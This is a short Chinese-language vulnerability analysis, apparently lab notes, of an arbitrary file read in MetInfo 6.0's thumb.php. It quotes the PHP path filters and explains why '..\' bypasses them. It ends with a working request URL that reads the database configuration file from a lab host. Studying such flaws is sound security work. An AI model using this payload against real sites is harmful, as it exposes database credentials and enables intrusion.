metinfo 6.0 任意文件读取漏洞
漏洞点
网页路径
/metinfo_6.0.0/include/thumb.php
代码路径
\app\system\include\module\old_thumb.class.php
过滤原则
过滤1
$dir = str_replace(array('../','./'), '', $_GET['dir']);
将 dir 接收的参数中的 ../
和 ./
替换为空字符
无法使用 ../
返回上级目录
过滤2
满足以下条件才可以读取文件
if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false)
过滤 dir 参数中本网站 url
在源码中加入输出 $_M['url']['site']
的语句查看其作用
对比未输出时,发现 $_M['url']['site']
的值为 metinfo 网站的根目录
str_replace($_M['url']['site'], '', $dir)
以上语句的作用是将 dir 参数中的 10.9.47.241/metinfo_6.0.0/
即包含目标网站 url 路径的内容过滤,替换为空。不允许以 url 形式直接访问网站中的内容
dir 参数中需要以 http 开头
substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http'
查看被 str_replace($_M['url']['site'], '', $dir)
过滤后的 dir 的前四位是否为 http
,如果为 http 则通过过滤
过滤 ./
strpos($dir, './') === false
如果 dir 中未出现 ./
则通过过滤
绕过
- 以 http 开头
- 避免
../
和./
- 不能直接使用 dir=metinfo 的 url
可以使用 ..\
进行绕过
读取数据库配置文件
http://10.9.47.241/metinfo_6.0.0/include/thumb.php?dir=http\..\..\config\config_db.php